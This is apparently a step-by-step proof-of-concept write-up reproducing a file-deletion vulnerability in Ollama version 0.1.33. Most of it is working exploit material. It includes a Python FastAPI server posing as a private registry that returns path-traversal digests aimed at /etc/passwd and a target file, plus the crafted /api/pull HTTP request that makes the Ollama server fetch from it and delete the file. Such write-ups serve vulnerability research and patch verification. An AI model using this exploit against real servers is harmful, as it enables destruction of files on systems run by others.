Deploy an Ollama service with version 0.1.33.

image-20250317120117771

Create the /file/targetFile file on the Ollama server.

image-20250317134935654

Use Python code to construct a malicious server disguised as a private registry server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from fastapi import FastAPI, Request, Response

app = FastAPI()

@app.get("/v2/tianweng-anquan/a1batr0ss/manifests/latest")
async def evilManifest():
return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},"layers":[{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../file/targetFile","size":10}]}


@app.head("/file/targetFile")
async def fake_notfound_head(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../file/targetFile"
return ''

@app.get("/file/targetFile", status_code=206)
async def fake_notfound_get(response: Response):
response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../file/targetFile"
response.headers["E-Tag"] = "\"../../../../../../../../../../../../../file/targetFile\""
return 'Deleted'


if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host='0.0.0.0', port=80)

image-20250317134635614

Send a crafted data packet to the /api/pull endpoint, where 10.211.55.3:11434 is the Ollama service address, and 192.168.200.237 is the address of the crafted malicious server.

1
2
3
4
5
6
7
8
9
POST /api/pull HTTP/1.1
Host: 10.211.55.3:11434
Content-Type: application/json
Content-Length: 76

{
"name":"192.168.200.237/tianweng-anquan/a1batr0ss",
"insecure":true
}

image-20250317142303097

Check the /file/targetFile file on the Ollama server again and find that it has been deleted.

image-20250317135521783